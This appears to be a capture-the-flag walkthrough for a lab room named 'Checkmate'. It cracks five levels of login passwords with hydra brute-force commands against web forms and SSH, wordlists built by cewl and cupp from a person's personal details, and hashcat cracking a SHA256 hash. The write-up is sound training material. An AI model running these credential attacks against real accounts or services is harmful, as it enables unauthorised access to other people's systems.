Checkmate

Questions

1. What is the password for Level 1?
2. What is the password for Level 2?
3. What is the password for Level 3?
4. What is the password for Level 4?
5. What is the password for Level 5?

---

Setup

echo 10.48.131.148 firewall.thm jobs.thm social.thm >> /etc/hosts

---

Level 1

1. Navigate to firewall.thm:5001.
2. Hint: kept default credentials
3. So, let’s try brute-forcing username:admin using the hydra tool.

    hydra -l admin \                                
     -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt \
     -f -V -t4 \
     -s 5001 \
     firewall.thm http-post-form \
     "/login:username=^USER^&password=^PASS^:Invalid credentials."
   

   

---

Level 2

1. Navigate to jobs.thm:5002.
2. Hint: Common company keywords as passwords,
3. I use command cewl -d 2 -m 6 --lowercase -w keywords.txt http://jobs.thm:5002 to extract keywords.
4. Now, use hydra to brute-force using keyword.txt

     hydra -l marco \
     -P keywords.txt \
     -f -V -t4 \
     -s 5002 \
     jobs.thm http-post-form \
     "/login:username=^USER^&password=^PASS^:Invalid credentials."
   

After login, we can see Marco’s profile details. Let’s keep this info for the next level.

---

Level 3

1. Navigate to social.thm:5003
2. Hint: Derive Marco’s password from personal info.
3. From the previous level, Marco’s personal info
   1. First name: Marco
   2. Surname: Bianchi
   3. Nickname: marky
   4. Birthdate: 14021995
4. I will use the cupp tool to generate a custom wordlist.
5. use cupp -I to enter interactive mode, then input Macro’s information.
6. Now, use marco.txtto perform a brute-force attack using hydra. —

   Level 4

   

The profile picture might contain another clue. So, I open it in a new tab and check its filename.

1. Copy hashed name

2. use echo "d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b" > hash.txt
3. Then I will use hashcat to crack the hashed name
4. Hint: SHA256 hash
5. So, use the command hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -m 1400 = mode SHA256
6. 

---

Level 5

1. HINT: take a company keyword, capitalize it, then append the year like 2024 or any other number and an exclamation mark.
2. So, I will create custom wordlists using this pattern.
3. write a bash script to generate wordlists:
4. chmod +x marco.sh -> ./marco.sh
5. Now, we got new wordlists contained in marco.txt
6. Use this wordlist to perform an SSH service brute-force attack using hydra.
7. Command:hydra -l marco -P marco.txt ssh://<TARGET IP ADDRESS>

DONE!!

---